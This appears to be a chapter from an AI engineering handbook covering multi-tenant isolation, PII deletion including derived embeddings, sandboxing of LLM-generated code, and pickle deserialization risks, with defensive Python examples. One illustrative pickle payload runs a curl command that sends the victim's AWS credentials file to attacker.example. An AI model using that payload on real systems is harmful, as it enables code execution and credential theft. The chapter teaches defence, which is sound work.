9.6 — Tenant Isolation, PII Handling, and Sandboxing

1. What is it?

This chapter consolidates three security topics referenced throughout this book into one coherent treatment: tenant isolation (ensuring one customer/organization's data and operations never leak to another in a multi-tenant system), PII handling (the specific discipline around personally identifiable information — detection, redaction, minimization, retention), and sandboxing (isolating potentially risky code/tool execution, especially LLM-generated code, from the broader system).

2. Why does it exist?

Parts 3.4, 3.5, 4.5, and 9.3 have each flagged tenant isolation as a recurring risk at different layers (vector search filtering, retrieval, tool scoping). Parts 2.3, 2.5, and 3.9 have each flagged PII handling considerations at different layers (classical redaction, embedding-inversion risk, memory storage). Part 7.1/9.2's tool-execution discussion flagged sandboxing for genuinely untrusted execution. This chapter exists to pull these threads together into one focused, comprehensive treatment, since each is a genuinely distinct discipline worth understanding as its own coherent practice, not just a scattered set of individual warnings.

3. What problem does it solve?

Tenant isolation solves "how do I guarantee, provably, that a multi-tenant AI system never mixes or leaks data across tenant boundaries" — the single most common, serious concern raised in enterprise AI security reviews (Part 11.4's system design chapter will build directly on this). PII handling solves "how do I identify, minimize, and appropriately protect personal data flowing through an AI system, given genuine compliance obligations (Part 10.5) and the reputational/legal stakes of getting this wrong." Sandboxing solves "how do I safely let an AI system execute code or actions when I can't fully predict or trust what it will generate."

4. How does it work internally?

Tenant isolation — defense at every layer, not just one

Every layer this book has covered has its own tenant-isolation enforcement point, and genuine isolation requires getting all of them right, since a single weak layer undermines the others:

Database layer (Part 1.4/1.5):     Row-level security (RLS), not just
                                     application-layer WHERE clauses
Vector search layer (Part 3.4):     Pre-filtering (not post-filtering) by
                                     tenant_id, verified explicitly per vector store
Tool execution layer (Part 3.3/9.3): tenant_id bound at tool-construction time,
                                     never a model-suppliable argument
Cache layer (Part 1.6/7.8):         Cache keys must include tenant_id
Checkpoint/memory layer (Part 5.3/3.9): thread_id/memory scoped and
                                     authorization-checked per tenant
Observability layer (Part 6.1/8.4): Trace access scoped by tenant for anyone
                                     reviewing traces across a multi-tenant platform

The pattern across every layer: never rely on application code remembering to filter correctly on every single query — prefer enforcement mechanisms that are structurally hard to bypass (database RLS, pre-filtered vector search, construction-time-bound tool closures) over a convention that a future code change could accidentally violate.

PII handling — detection, minimization, and the data lifecycle

Ingestiondetect and classify PII (Part 2.3 NER-based detection or specialized tools)

Minimizationonly retain/process PII genuinely necessary for the task

Processingredact PII before it reaches an LLM where not needed; otherwise verify provider data-handling terms (Part 7.3)

Storageencrypt at rest, scope access via RBAC (Part 9.4), explicit retention limits

Deletionhonor right-to-be-forgotten (Part 10.5), including derived embeddings (Part 2.5)

The embedding-deletion point is worth emphasizing since it's easy to miss: if a user's PII was embedded and stored in a vector index (Part 2.5/3.4), a "delete my data" request isn't satisfied by deleting the original document alone — the derived embedding(s) must also be identified and deleted, since Part 2.5 established that embeddings can, under some conditions, leak information about their source text.

Sandboxing — isolating genuinely untrusted execution

When an AI system executes LLM-generated code (a code-interpreter tool, an agent that writes and runs scripts), that code must be treated as fully untrusted, adversarial input, regardless of how well-behaved the model usually is — because a successful injection (Part 9.1) or a model's own mistake could produce genuinely malicious code. Sandboxing techniques, in increasing order of isolation strength:

• Container-based isolation (Part 7.1) — real but bounded isolation; a determined attacker who escapes application-level controls could potentially still reach the host's shared kernel.
• gVisor or similar user-space kernel emulation — intercepts and mediates system calls, providing stronger isolation than a plain container without the full overhead of a VM.
• MicroVMs (e.g., Firecracker) — genuine, hardware-level VM isolation with much lower overhead than a traditional VM, purpose-built for exactly this kind of "run untrusted code with strong isolation, cheaply" use case.
• No local execution at all — routing code execution to a fully separate, disposable, network-isolated execution environment with no access to production systems or data, the strongest practical isolation for genuinely high-risk code execution.

The right choice depends on the actual risk: a code-interpreter tool used for simple data visualization in a low-stakes internal tool might reasonably use container isolation; an agent platform running arbitrary user-submitted code with potential access to sensitive systems warrants the strongest isolation available (Part 7.1, section 10's exact escalation point).

Insecure deserialization — a quieter, equally severe sandboxing failure

A distinct failure mode belongs in this same chapter because it shares sandboxing's exact underlying concern (executing untrusted input as if it were safe) while looking, on the surface, like an unrelated data-loading detail rather than a code-execution risk: Python's pickle module (and anything built on it, including the default behavior of older torch.load calls) does not just deserialize data — deserializing a pickle stream can execute arbitrary attacker-chosen code, because pickle's format allows an object's __reduce__ method to specify an arbitrary callable to run during unpickling. Unpickling untrusted data is, in practical terms, equivalent to eval()-ing a string you don't control.

Malicious pickle payload (illustrative):
class Exploit:
    def __reduce__(self):
        return (os.system, ("curl attacker.example/exfil?d=$(cat ~/.aws/credentials)",))

pickle.dumps(Exploit())  # produces innocuous-looking bytes
# ... later, on the victim system ...
pickle.loads(untrusted_bytes)  # executes the curl command IMMEDIATELY, no
                                # "loading" step where the payload is just data

This shows up concretely in AI systems in a few recurring, easy-to-miss shapes:

• A "load this fine-tuned model" or "load this checkpoint" tool — an agent platform that lets a user (or an automated pipeline acting on a model artifact from an external registry) point a tool at a model file, which the tool then loads with torch.load() or pickle.load(). A model file is not inert data; if it was produced or tampered with by an untrusted party, loading it can execute code on your inference host — a genuine supply-chain vector, not a hypothetical one (several real-world incidents have used exactly this to compromise ML pipelines that pulled models from public hubs without verification).
• Unsafe deserialization of cached tool results — a tool-result cache (Part 1.6/7.8, Part 9.6's cache-key discussion) that serializes results with pickle for convenience ("it handles arbitrary Python objects automatically") and deserializes them on a cache hit. If that cache is ever writable by a less-trusted path than the cache owner assumes (a shared Redis instance, a cache poisoned via a separate vulnerability, or simply a cache whose write path itself processes untrusted input), a cache read becomes a code-execution event.
• LangGraph checkpoint restoration (Part 5.3) — a checkpointer persists and later restores full graph state for a thread_id. If checkpoint storage is ever reachable by a less-trusted party than the application itself (a shared Postgres/Redis instance with broader access than intended, or a multi-tenant checkpoint store without the tenant-scoping this chapter's section 4 already requires), restoring an attacker-influenced checkpoint into a live session is the same insecure-deserialization risk, applied to agent state specifically rather than a model file.

The mitigation is structural, not "be careful with pickle":

• Never unpickle data from a source you don't fully trust and control end-to-end — this includes a checkpoint store or cache that shares infrastructure with anything less trusted than the application itself, not only obviously-external data.
• Prefer safetensors for model weights — a format deliberately designed to hold only tensor data, with no mechanism for arbitrary code execution on load, making an entire vulnerability class structurally impossible rather than merely unlikely. Prefer plain JSON (or another data-only format) for state/config artifacts that don't need pickle's arbitrary-object support.
• If torch.load is unavoidable for a legacy artifact, load with weights_only=True (current PyTorch versions default to this, but verify the version in use and never override it for an artifact whose provenance isn't fully trusted) — this restricts deserialization to tensor data and blocks the arbitrary-callable mechanism pickle would otherwise allow.
• Verify checkpoint-store and model-artifact integrity/provenance before restoring untrusted state into a live session — a cryptographic signature or checksum verified against a known-good value, and, for model artifacts specifically, sourcing only from a registry whose write access is itself controlled and audited (Part 18.8's supply-chain/provenance discussion applies directly here).

import hashlib
import pickle  # noqa: S403 — imported only to demonstrate what NOT to call on untrusted input


class UnsafeDeserializationError(Exception):
    """Raised when an artifact fails integrity/provenance verification before load."""


def verify_artifact_integrity(artifact_bytes: bytes, expected_sha256: str) -> None:
    """
    Verifies an artifact's checksum against a known-good value BEFORE any
    deserialization is attempted — the load step itself must never be the
    first point at which untrusted content is examined.

    Args:
        artifact_bytes (bytes): The raw artifact bytes (a checkpoint, a model
            file) fetched from storage.
        expected_sha256 (str): The checksum recorded at the time the artifact
            was written by a trusted process, never supplied by the same
            request that's asking to load it.

    Returns:
        None: Raises if verification fails; returns normally if it passes.
    """
    actual = hashlib.sha256(artifact_bytes).hexdigest()
    if not hashlib.compare_digest(actual, expected_sha256):
        raise UnsafeDeserializationError(
            f"artifact checksum mismatch: expected {expected_sha256}, got {actual}"
        )


def load_model_weights_safely(weights_path: str):
    """
    Loads model weights using safetensors, a format with no arbitrary-code-
    execution path on load — the structural fix, not a runtime safety check,
    for the "load this fine-tuned model" supply-chain vector.

    Args:
        weights_path (str): Path to a `.safetensors` weights file.

    Returns:
        dict[str, "torch.Tensor"]: The loaded tensors, with no risk of
        arbitrary code execution regardless of the file's actual provenance.
    """
    from safetensors.torch import load_file

    return load_file(weights_path)  # tensor data only — no __reduce__-style code path exists

Note the asymmetry with the rest of this chapter's sandboxing ladder (section 4): container/gVisor/microVM isolation contains the damage of executing untrusted code; choosing safetensors/JSON over pickle and verifying provenance prevents the untrusted code from having anywhere to execute in the first place — the stronger, structurally preferable fix wherever the artifact's format is actually a choice you control, with sandboxing reserved for cases (a genuine code-interpreter tool) where executing untrusted logic is the actual point of the feature.

5. Simple mental model

Tenant isolation is like apartment building walls that are genuinely soundproof and load-bearing at every floor, not just labeled "Tenant A" and "Tenant B" on the doors — a label (application-layer filtering alone) can be ignored by mistake; a real wall (database RLS, pre-filtered search) structurally prevents the leak regardless of any single mistake elsewhere. PII handling is like treating personal documents the way a careful hospital treats patient records — only the people who genuinely need to see a specific record see it, only for as long as necessary, and there's a clear, honored process for permanently removing a record (and any copies) when required. Sandboxing is like running a potentially unstable chemistry experiment inside a blast-proof containment chamber rather than on an open lab bench — you don't need to be certain the experiment will go wrong to justify the containment; you contain it because you can't be fully certain it won't.

6. Real-world example (attack/failure scenario)

A multi-tenant AI SaaS platform correctly implemented tenant-scoped vector search (Part 3.4's pre-filtering) but overlooked that their Redis-based response cache (Part 1.6/7.8) used a cache key based only on the query text, not the tenant ID — meaning tenant A's cached answer to a common question could be served directly to tenant B if they happened to ask a similarly-worded question, entirely bypassing the otherwise-correct vector-search tenant isolation. This is a direct, real illustration of section 4's core point: getting most layers right (database, vector search) doesn't guarantee isolation if even one layer (the cache) was missed — genuine tenant isolation requires auditing every single layer data flows through, not just the most obviously sensitive ones.

7. Architecture diagram — vulnerable vs. secure

Vulnerable — one weak layer undermines correct isolation elsewhere; Tenant B's request could still receive Tenant A's cached data:

DBRLS, correct

Vector searchpre-filter, correct

Tool executionscoped, correct

CacheNO tenant_id in cache key — LEAK HERE

Secure — every layer independently enforces tenant scoping, audited as a complete set, not assumed correct because most of them are:

DB

Vector search

Tool execution

Cache

Checkpoints

Observability

8. Production considerations

• Audit tenant isolation across every single layer data flows through, explicitly, as a checklist (section 4/6) — not just the layers that feel most obviously sensitive.
• Treat embeddings of PII as PII themselves for deletion/retention purposes (Part 2.5) — a "delete my data" process that only touches the original document, not its derived embeddings, is incomplete.
• Choose sandboxing strength proportional to actual risk (section 4's escalation ladder) — container isolation for low-stakes cases, microVM or fully separate execution environments for genuinely high-risk code execution with access to sensitive systems.
• Never unpickle untrusted data (section 4's deserialization subsection) — use safetensors/JSON for model weights and state artifacts, verify checksums/provenance before restoring any checkpoint or cached tool result into a live session, and treat a "load this fine-tuned model" tool as a supply-chain vector requiring the same scrutiny as any other untrusted-code-execution path.
• Include cache, checkpoint, and observability layers explicitly in tenant-isolation audits — these are exactly the layers most likely to be overlooked (section 6's real-world example) because they're not the "obvious" data-storage layers a first-pass review tends to focus on.

9. Common mistakes

• Auditing tenant isolation only in the most obvious layers (database, vector search) and missing supporting infrastructure (cache, Part 1.6/7.8; checkpoints, Part 5.3) that carries the same risk if not scoped correctly.
• Treating "delete my data" requests as satisfied by deleting the original document alone, missing derived embeddings that may still carry recoverable information about the deleted content.
• Applying uniform sandboxing strength regardless of actual risk — either over-investing in maximum isolation for genuinely low-risk cases, or under-investing (plain containers only) for genuinely high-risk, sensitive-system-adjacent code execution.
• Assuming a security review that checked the "important" data stores is complete, without systematically tracing every place data actually flows through.

10. Security considerations — mitigation summary

Systematic, complete-layer tenant-isolation auditing (not spot-checking the obvious layers). Treating derived data (embeddings) with the same sensitivity classification as its source. Risk-proportional sandboxing strength for any LLM-generated code execution. Explicit, honored data-lifecycle processes (minimization, retention limits, complete deletion including derived stores) for PII specifically. Never unpickling untrusted data — safetensors/JSON preferred over pickle/unsafe torch.load, with integrity/provenance verification before restoring any untrusted checkpoint, cached result, or model artifact into a live session.

11. Performance considerations

• Stronger sandboxing (microVMs, fully separate execution environments) carries more overhead/latency than plain container isolation — a real, deliberate trade-off against the actual risk level, not a cost to minimize by default at the expense of appropriate isolation for genuinely high-risk execution.

12. Cost considerations

• PII minimization (processing/storing only what's genuinely necessary) is both a security best practice and, often, a direct cost reduction (less data to store, less to embed and index, Part 2.5/3.4's storage cost discussion) — a rare case where the security-correct choice is also frequently the cheaper one.

13. When to use it

Tenant isolation: any multi-tenant system, without exception, audited comprehensively across every layer. PII handling discipline: any system processing personal data, which describes most enterprise AI systems given how often customer/employee data flows through them. Sandboxing: any system executing LLM-generated or otherwise untrusted code, with isolation strength matched to actual risk.

14. When NOT to over-apply it

A genuinely single-tenant system has no tenant-isolation concern by definition (though internal role-based access, Part 9.4, remains relevant). A system that provably never touches PII (rare, and worth verifying rigorously rather than assuming) has less need for the full PII-handling machinery. Low-risk, non-sensitive code execution (a data-visualization tool with no access to production systems) may reasonably use lighter-weight container isolation rather than a full microVM setup.

15. Alternatives and trade-offs

Approach	Good for	Weak point
Database RLS + pre-filtered vector search + construction-time tool scoping (full-layer isolation)	Genuinely robust, hard-to-bypass tenant isolation	Requires disciplined implementation across every layer
Application-layer filtering only (anti-pattern)	Simpler to implement initially	One missed filter anywhere breaks isolation entirely
Container-only sandboxing	Simple, sufficient for low-risk code execution	Weaker isolation than microVM/separate-environment for genuinely high-risk execution
MicroVM/fully separate execution environment	Strong isolation for high-risk code execution	Higher overhead/complexity, appropriate only where actually warranted

16. Practical Python/code example

A tenant-scoped cache key, directly fixing section 6's real-world vulnerability:

def build_tenant_scoped_cache_key(query: str, tenant_id: str) -> str:
    """
    Builds a cache key that includes tenant_id, preventing the cross-tenant
    cache leakage from section 6's real-world example.

    Args:
        query (str): The query text.
        tenant_id (str): The requesting tenant — MUST be part of the key.

    Returns:
        str: A tenant-scoped cache key.
    """
    import hashlib
    digest = hashlib.sha256(f"{tenant_id}:{query}".encode()).hexdigest()
    return f"cache:{tenant_id}:{digest}"

17. Production-quality example

A PII-aware deletion pipeline that also removes derived embeddings, directly implementing section 4/8's "treat embeddings as PII too" principle:

import logging

logger = logging.getLogger("pii_deletion")


async def process_deletion_request(user_id: str, document_store, vector_store) -> dict:
    """
    Fully honors a data-deletion request, removing both the original documents
    AND their derived embeddings — a common, easy-to-miss gap in naive
    deletion implementations.

    Args:
        user_id (str): The user whose data is being deleted.
        document_store: Store of original documents.
        vector_store: Vector index potentially containing embeddings derived
            from this user's documents.

    Returns:
        dict: A summary of what was deleted, for audit/compliance purposes.
    """
    documents = await document_store.find_by_user(user_id)
    document_ids = [doc.id for doc in documents]

    await document_store.delete_by_ids(document_ids)
    logger.info("deleted %d original documents for user=%s", len(document_ids), user_id)

    deleted_embeddings = await vector_store.delete_by_source_document_ids(document_ids)
    logger.info("deleted %d derived embeddings for user=%s", deleted_embeddings, user_id)

    return {
        "user_id": user_id,
        "documents_deleted": len(document_ids),
        "embeddings_deleted": deleted_embeddings,
        "completed_at": datetime.now(timezone.utc).isoformat(),
    }

18. Short exercise

A customer's platform has correctly tenant-scoped their database and vector search, but you're asked to audit the rest of the system for isolation gaps. Using section 4's layer list, write out the specific checks you'd perform for the cache, checkpoint, and observability layers, referencing section 6's real-world example as a model for what a gap looks like.

19. Interview questions

• Explain why tenant isolation must be audited across every layer data flows through, using section 6's cache-key example as a concrete illustration of a partial-isolation failure.
• Why does a "delete my data" process need to address derived embeddings, not just original documents?
• Describe the escalation ladder of sandboxing strength (containers → gVisor → microVMs → separate environments) and what factors determine which is appropriate for a given use case.
• Why can loading a pickled model checkpoint execute arbitrary code, and why is safetensors a structurally different fix than sandboxing the process that loads it?

20. FDE/customer scenario

Customer's security reviewer: "You've shown us your database and vector search are properly tenant-isolated — what else should we be worried about?"

This is exactly the opening for section 4/6's core lesson: proactively raising the cache, checkpoint, and observability layers as additional places tenant isolation must be verified — rather than letting the reviewer's question stop at the layers they happened to ask about — demonstrates the kind of complete, systematic security thinking that a well-prepared AI FDE brings to a review, versus reactively answering only the specific questions asked.

---

Key takeaways

• Genuine tenant isolation requires auditing every layer data flows through (database, vector search, tools, cache, checkpoints, observability) — one missed layer undermines correct isolation everywhere else.
• Embeddings of PII must be treated as PII themselves for deletion/retention purposes, not just the original source documents.
• Sandboxing strength for LLM-generated code execution should be proportional to actual risk, escalating from containers to microVMs/separate environments as stakes increase.
• Never unpickle untrusted data — a pickled model checkpoint, cached tool result, or LangGraph checkpoint from an untrusted or under-scoped source can execute arbitrary code on load; prefer safetensors/JSON and verify provenance instead.

Things you should be able to explain

• Why tenant isolation is only as strong as its weakest layer, with a concrete example of a commonly-missed layer.
• Why derived embeddings need the same deletion treatment as their source data.

Things you should be able to build

• A tenant-scoped cache key and a complete PII-deletion pipeline that also removes derived embeddings.

Common mistakes

• Auditing only the "obvious" data layers (database, vector search) and missing cache/checkpoint/observability layers.
• Treating data deletion as complete without addressing derived embeddings.
• Uniform sandboxing strength regardless of actual execution risk.

Recommended next chapter

Part 9 complete. Continue to handbook/10-enterprise-integration/01-rest-webhooks-oauth-sso-rbac.md.